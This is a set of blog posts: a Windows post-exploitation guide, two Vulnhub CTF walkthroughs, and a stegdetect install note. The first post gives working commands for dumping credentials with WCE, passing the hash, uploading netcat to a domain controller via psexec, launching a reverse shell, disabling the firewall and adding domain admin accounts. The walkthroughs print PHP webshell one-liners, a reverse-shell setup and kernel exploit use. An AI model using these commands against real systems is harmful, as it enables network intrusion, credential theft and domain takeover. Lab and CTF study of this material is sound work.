Hacking Windows – From Zero to Hero

This post is meant for educational purposes and the methods should only be used on servers/machines in a lab environment, or if you have the prober permission from the owner of the target(s). Basically this post is just me sharing my notes about how I did these tasks in my labenviroment.

So you managed to get access to a Windows machine of some sort inside a bigger network, and want to escalate your privileges, first to local administrator and later try to gain access to the domain controller as a user with "Domain Admins" permissions, this blogpost will give you some hints on how to proceed in order to obtain your goal.

Escalating privileges to local administrator

First of all, we want to see if we can get from our normal user, to a user with local administrator permissions. There are of course many ways to do this, but you need to find a working local privilege escalation exploit that works on the version of Windows that your target is running. Exploit-DB is a good ressource, but there are many other alternatives to that site.

Once you have managed to escalate your local privileges, its time to find some more information about the other users on the system, if you are lucky, a user from the "Domain Admins"-group have been logged in, and we can use that to move towards the ultimate goal of our task. Really knowledge about any extra users will be a positive result for us.

Extracting user information

One of the ways to extract the users and their password-hashes, is by using WCE (Windows Credential Editor) to get the password-hashes of all the users that has been logged onto the system.

wce.exe -l

This will return some strings in the format of:


After getting the hashes mentioned above, you can continue by copying them all to a file and try to see if you can brute force them with 'john' for example. However, this is not really necessary to do in order to move on, but on the other hand, the plain text passwords might come up handy in some other situation later on.

Pass the hash

Like I mentioned, we actually don't need the plaintext passwords in order to proceed further into the network, this is because we already have the hashes, and with a method called "Pass the hash", we will be able to authenticate as another user using only the hashes that we got earlier from WCE.

So lets say, that one of the lines that were returned from WCE, was for the "Domain Admins"-user "billy", johns hash could look something like this:


Then by using WCE.exe again, we can swap our NTLM credentials on the fly, in a way that will make Windows think that we are actually authenticated as billy, and be able to use his permissions to move around within the domain. In order to do so, we execute the following command:

wce.exe -s billy:COMPANYDOMAIN:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -c cmd.exe

A new command prompt will spawn, but this time it will have the permissions of the Domain Admin 'billy' - notice that this is done without actually knowing the password of 'billy', but just by using the NTLM credentials. As long as you keep that command prompt open, you will be able to act just like you were 'billy', and do 'net use' commands and so on, the 'whoami' command will still show "nt authority\system", but that is fine.

Engage the domain controller

Its time to see if we can gain access to the domain controller, to do this we will use a tool called 'psexec.exe', which is part of the PsTools package that can be downloaded from Microsoft themselves.

PsExec is a managementtool that can be used to manage Windows environments in an easy way from a commandline. Sometimes its the quickest way to change a users password or add a new user, instead of having to login with RDP to the domain controller. I wrote another short blogpost, with some nice examples on how to use psexec.exe, psinfo.exe and psloggedon.exe, if you already know PsTools, you can just continue reading.

Now that we know the possible commands that PsTools offers, the following can be utilized in order to get a command shell on the domain controller, uploading a copy of netcat, and get a reverse shell back to our Linuxbox. Ultimately it would be nice if we could just use psexec to spawn a netcat with a reverse shell, but for some reason that is not possible (at least I couldn't make it work).

First download netcat for Windows here, notice that it comes in a 32bit and a 64bit version, and that its important to use the correct version for the platform that you are trying to run it on.

From the command prompt where we used WCE.exe to change our credentials to the "Domain Admins"-user, billy, do the following to upload the 64bit netcat to c:\ folder of the domain controller:

net use \\
copy c:\path\to\nc64.exe \\\C$

Next up, we have to launch a netcat listener on our Linuxbox:

nc -l -v -n -p 4444

And now its time to make the domain controller launch the reverse shell in the background:

Psexec.exe \\ -d c:\nc64.exe 192.168.1.x 4444 -e cmd.exe

We have now pivoted on to the domain controller, and have a command prompt belonging to 'billy' who is part of the "Domain Admins"-group. This means that we are no longer dependent on the client machine which was the first entry of our engagement. You can now continue by making sure that you can always connect back to the domain controller by setting up a more persistent way to get in.

Other tricks

Windows Firewall options from command line

Sometimes it can be nessasary to turnoff the Windows Firewall in order to get full access, an alternative could be just to open the extra ports that you require. Here's a few examples:

Check the status for the Windows Firewall:
netsh advfirewall show allprofiles

Turn the Windows Firewall off for all profiles:
netsh advfirewall set allprofiles state off

Turn Windows Firewall back on for all profiles:
netsh advfirewall set allrprofiles state on

More Windows recon:

net user - list all users
net user username - more information for a given username
net start - shows all running processes on a host
net stats srv - shows statistics from the server

systeminfo (shows a lot of information about the server)
systeminfo | find /I "System type"

Introduction to PsTools: psexec.exe, psinfo.exe & psloggedon.exe

PsExec is a managementtool that can be used to manage Windows environments in an easy way from a commandline. Sometimes its the quickest way to change a users password or add a new user, instead of having to login with RDP to the domain controller. It can be downloaded from Microsoft themselves here.

Here is a collection of some of the things that psexec can be used for:

Execute a simple command on a remote server, in this case the DC:
Psexec.exe \\ ipconfig

Add a new user to the domain:
Psexec.exe \\ net user username password /ADD /DOMAIN

Add the new user to Domain Admins:
Psexec.exe \\ net group "Domain Admins" username /ADD /DOMAIN

Add new local user:
Psexec.exe \\ net user username password /ADD
Psexec.exe \\ net localgroup Administrators username /ADD

Change the password of 'Administrator':
Psexec.exe \\ net user Administrator *

Connect to the other server and get a commandprompt:
Psexec.exe \\ cmd.exe

Delete the user account again:
Psexec.exe \\ net user username /DEL /DOMAIN

Get groups from the DC or local machine (add /DOMAIN if not local)
Psexec.exe \\ net group /DOMAIN

Get users from "Domain Users" group:
Psexec.exe \\ net group "Domain Users" /DOMAIN

Get users from "Domain Admin" group:
Psexec.exe \\ net group "Domain Admins" /DOMAIN

Two other commands that are part of the PsTools package, are PsInfo and PsLoggedon. The first one can be used to gather information about both a local and remote system, and PSLoggedon can be used to see who's logged on to a target system, both can be very nice to have.

Get information about a target:
Psinfo.exe \\ (Shows uptime, kernel version, product type, CPU etc.)

Show users that are logged on locally:

Show users that are logged on to a remote target:
PsLoggedon.exe \\

Show where a specific user is logged on to:
PsLoggedon.exe "Username" \\ (leave out the last part to only check locally)

Vulnhub: Droopy: v0.2 walkthrough

Another brand new VM off Vulnhub, this time it’s made by knightmare and came with two hints on how to approach the vulnerable machine: 1) Grab a copy of the rockyou wordlist, 2) It’s fun to read other people’s email. Sounds like a blast – lets begin!

As always I used ’netdiscover’ to find the IP of the server, followed by 'nmap' to see which ports were open and to get a general impression of what kind of server this is:

nmap -sV -O -A

nmapping droopy

Only Port 80 is open, and it seems to be running Apache 2.4.7 with Drupal 7 on a Linux of some sort. Lets see what the websites have to offer. Nmap gave away a couple of files, including a robots.txt and CHANGELOG.txt. The first one seems to be the standard Drupal robots.txt, but the CHANGELOG.txt revealed that it was running Drupal version 7.30.

I fired up ‘dirb’, and it found a couple of other interesting files. Not knowing a lot about Drupal, I decided to check several of them in an attempt to find further information. One of the interesting files '/info.php' was a PHP script with phpinfo() output that revealed, that the server is running PHP 5.5.9-1, and it thinks that its hostname is droopy.knight139.co.uk.

Drupal 7.30 seems a bit old, the new one is 8.1.0, so I figured that I would try and let my old friend ‘searchsploit’ help to see if there were any known exploits for this popular CMS. Turns out that there is a few that could be applied to Drupal earlier than 7.32, so I decided to try “Drupal Core <= 7.32 - SQL Injection (PHP)”, located in ./php/webapps/34993.php (CVE-2014-3704). This one can be used to change the admin username and password (both will be set to ‘admin’) by SQL-injection. Funny how 16 lines of code can be used to compromise a popular CMS. The SQL-injection worked, and I was able to login to the admin-interface of the CMS.

Drupal admin login

I browsed around in the Drupal administration interface for a little while, and saw that there was an option to enable a PHP filter, thereby allowing PHP to be embedded in posts. I enabled the filter, and tried with my simple webshell:

<pre><?php system($_GET[‘c’]);?></pre>

Drupal webshell

... and it gave me a directorylisting, so I'm basically halfway in. Time to get a proper shell via netcat. For this purpose I used the php-reverse-shell that comes with Kali Linux, and managed to upload it directly to the server using my simple webshell and ‘wget’. Being unable to write to /var/www/html – I decided to upload the file to /tmp and then start to search for a location inside the webscope that I could copy the PHP-script to afterwards:
wget upload and move

A writeable path inside the webscope was found at /var/www/html/sites/default/files/, so I again used my very simple webshell to move the script to the new location:
move the file

Next was to spawn a listener with netcat, and call the URL with curl (or opening it in a browser) to activate the reverse shell.

nc -l -n -v -p 4444

got the shell!

BOOYAH! I was in, and now I needed to find a way to escalate my privileges from the www-data user to root.

I got root by using an exploit for CVE-2015-1328 (37292.c in Kali Linux), and kind of expected that this was the end of this VM, but boy was I wrong. In the /root directory there was no flag.txt, instead there was a ‘dave.tc’ file, a file for TrueCrypt. The hints did say to use the rockyou dictionary file, but I thought I got around that somehow, I guess I didn’t. Let’s see if we can brute force this sucker.

got root

Copied the file to the webroot of the VM and downloaded it to my Kali Linux, so I could brute force it there instead of the in the Droopy server.

Truecrack was my first choice of tool for this task, the hints said to use the “rock you” wordlist, but I thought I’d try with the password for the MySQL-server which I found earlier in the Drupal configuration file, unfortunately without luck. When running Truecrack, there are three different key types that can be used: ripemd160, sha512 and whirlpool. I took a qualified guess, and picked sha512, as that was the one I would have used myself.

truecrack --truecrypt ./dave.tc --key sha512 --wordlist rockyou.txt

While Truecrack was running, I continued browsing around the filesystem on the server, and found a mail from Dave to George. Dave tells George that he updated the encrypted file and set a new password – this gives a few hints, which didn’t ring a bell for me. But I started looking into the band “The Jam” and what songs they’ve done and generated a wordlist from those and tried with Truecrack, no luck once again. Also tried to grep all the words with ‘hat’ from rockyou.txt, since the word ‘hat’ somehow caught my eye in the previously mentioned mail – still no luck.


So after having spent 2-3 hours on brute forcing with Truecrack and rockyou.txt, and still not being able to find the password, I thought I’d ask if anyone else had completed it, just to make sure that I was on the right track - and since I didn't want to spend hours and hours running through the rockyou list. One of the testers of the VM was rasta_mouse from #Vulnhub, and he gave me a hint to move in the right direction. Make no mistake, the answer is in rockyou.txt, but it will take a long time to run through almost 15 million different combinations 🙂

I was close to the right solution, when I was looking for ‘hat’ inside the rockyou.txt wordfile, but the right word to search for was “academy” - this was also inside the mail from Dave to George. Next I made a wordlist with all the words that contained academy, and used that with TrueCrack.

cat rockyou.txt | grep -i academy > wordlist.txt
truecrack --truecrypt ./dave.tc --key sha512 --wordlist wordlist.txt

This speeded things up a bit, and it found the needed password for the TrueCrype volume. Since TrueCrypt is no longer a part of Kali, I had to install the new VeraCrypt instead, which can also be used to open TrueCrypt volumes as long as you set it in TrueCrypt mode with the '-tc' flag.

veracrypt -tc dave.tc


After Veracrypt is done doing its thing, the TrueCrypt volume is mounted in the destination, which in my case was ./crypt (you need to create the mountpoint first) and I am able to browse around. There’s a few images in a couple of folders, but the important part is in ./secret/.top/flag.txt which shows a nice banner and a message.

Mission accomplished!


This was another fun CTF VM, that surprised me a bit with the TrueCrypt volume, as I already thought I was done after getting root. Even though it's always more fun to solve stuff like this yourself, this time it was really nice that I was able to get a hint from rasta_mouse in #Vulnhub, else this challenge would most likely have taken me 10 more hours of brute forcing 🙂

As a sidenote: The first thing I tried after installing the VM, was to try and login with root and the password 'toor' this worked for some reason. But since SSH was not enabled on the server, it obviously wasn't the way to go.

Vulnhub: SecTalks – BNE0x03 – ‘Simple’ walkthrough

This vulnerable VM showed up on Vulnhub.com a few days ago, even though it seems to be from late 2015. Simple is made by @RobertWinkel aka 'Bull'. There is one flag to be found, and in order to do so, I needed to figure out a way to upload a reverse shell and afterwards escalate the privileges to finally get the flag. Here's how I did it.

After booting up the image, I had to find its IP-address. I usually do this by using 'netdiscover', but this time I was a bit surprised to see that the virtual machine had two IP-addresses (I never looked into why this happened, but it seems like it had two adapters for some reason). Time to 'nmap' the server, to see which ports were open:

nmap -sV -O --allports -A

nmap result

The result was that only port 80 was open, and that the server was running Ubuntu Linux with Apache 2.4.7 as the webserver. After a quick visit to the IP-address in my webbrowser, it turned out that there was a website running CuteNews version 2.0.3, which is actually the latest version of the CuteNews CMS. The website had a loginform, and also an option to register for a new useraccount. I tried out a different username/password combinations, like admin/admin, username/password and so on, but without any luck.


Thinking that since it was the latest version of CuteNews, it wouldn't be vulnerable, I moved on to see if there were anything of interest on the webserver by firing up 'dirb' and it found a couple of interesting directories with directory listing enabled. One of them was /uploads which was empty. This made me go back to researching a bit on CuteNews and it turned out that even though it was the latest version, its pretty old - and actually there's a bug which allows arbitrary fileuploads. Using 'searchsploit' I found out that Exploit-db had a working example on how to exploit this.

The example required that the fileupload of a new avatar from the user profile page had to be intercepted with a proxy, and the request should be modified into changing the filename from .jpg to .php. I decided to test with a normal .jpg file first, just to see if it actually ended up in the /uploads directory, which it did. Then I tried uploading my phpinfo.php file, which just contains - and this actually worked, the file ended up in the /uploads directory with a slightly different name, but when loading the script from the browser, it showed the output of phpinfo() - neat. Not sure why this worked, due to the example from exploit-db that I mentioned earlier.


The next step was to upload a simple webshell, this webshell just contained the following line:

<pre><?php system($_GET['c']);exit;?></pre>

This made it possible for me to do some reconnaissance of the filesystem and keyfiles, before moving on with a better reverse shell.
cat /etc/password

Kali Linux, which was my weapon of choice for this task, comes with a lot of different webshells (in /usr/share/webshells), and I decided to use the php-reverse-shell.php script to get a better shell together with netcat.

reverse shell

To activate the reverse shell, I used curl to call the URL, which resulted in getting a reverse shell through my netcat on port 4444. I'M IN! ... but only as the www-data Apache user. First things first, I always spawn a new and less limited shell using Python:

python -c 'import pty; pty.spawn("/bin/bash")'

I got the command above a long time ago, from a brilliant blogpost that g0tm1lk did on Basic Linux Privilege Escalation. If you haven't already, you really want to check that one out.

Next I spend quite some time lurking around in the /var/www/html directory, as my first guess was that I had to find the password for the 'bull' user, which is the only "real" user except root present on the server, and then escalate from there. Even though there is a MySQL-server running on the server, CuteNews doesn't use it - instead it stores everything in flat files, that includes the userdatabase. Unfortunately the passwords were encrypted, and I gave up brute forcing them after a little while - there had to be another way to escalate my privileges.

Searchsploit revealed a couple of exploits for Ubuntu 14.04:

I ended up finding three possible exploits, and found out that two of them worked. I downloaded them into /tmp from my local Kali Linux with wget, and compiled and ran them.

These worked: CVE-2016-1325, CVE-2015-1328.

gcc exploit.c -o pwn


After getting root, all that was left was to go get the flag:

cat /root/flag.txt

Installing stegdetect in Kali Linux

I've been messing around with Steganography lately, and was looking into which software in Kali that could be of use to my little project. The obvious one is 'steghide', which seems to be the preferred tool for embedding secret stuff into pictures, and that one works just fine.

But what if you want to check, if a picture actually has hidden stuff in it? That's where stegdetect could come in handy. Only problem (for me at least) was that its a pain to install in Kali Linux, basically it comes up with some errors relating to automake, and even after a reinstall of automake it was still causing trouble.

 cd . && /root/stegdetect/missing aclocal-1.4
WARNING: `aclocal-1.4' is needed, and you do not seem to have it handy on your
         system.  You might have modified some files without having the
         proper tools for further handling them.  Check the `README' file,
         it often tells you about the needed prerequirements for installing
         this package.  You may also peek at any GNU archive site, in case
         some other package would contain this missing `aclocal-1.4' program.
Makefile:183: recipe for target 'aclocal.m4' failed
make: *** [aclocal.m4] Error 1

So after struggling for an hour or so, I decided to just install stegdetect via one of the archived Debian packages, and it seems to work just fine. The stegdetect package have not been updated for the past three years, so I guess it wont make a difference.


wget http://archive.debian.net/etch/i386/stegdetect/download
dpkg -i stegdetect_0.6-3_amd.deb

It is worth taking into consideration, that stegdetect does return false negatives, so it can't really be trusted, but can certainly be used for a quick check before you proceed with other tools.

Other tools for steganography:
- steghide (tool for embedding / extracting hidden information from JPEG)
- stegbreak (for bruteforcing)
- stegcompare (checking filesize difference between an original and the modified JPEG)
- OutGuess (another tool for embedding / extracting hidden information)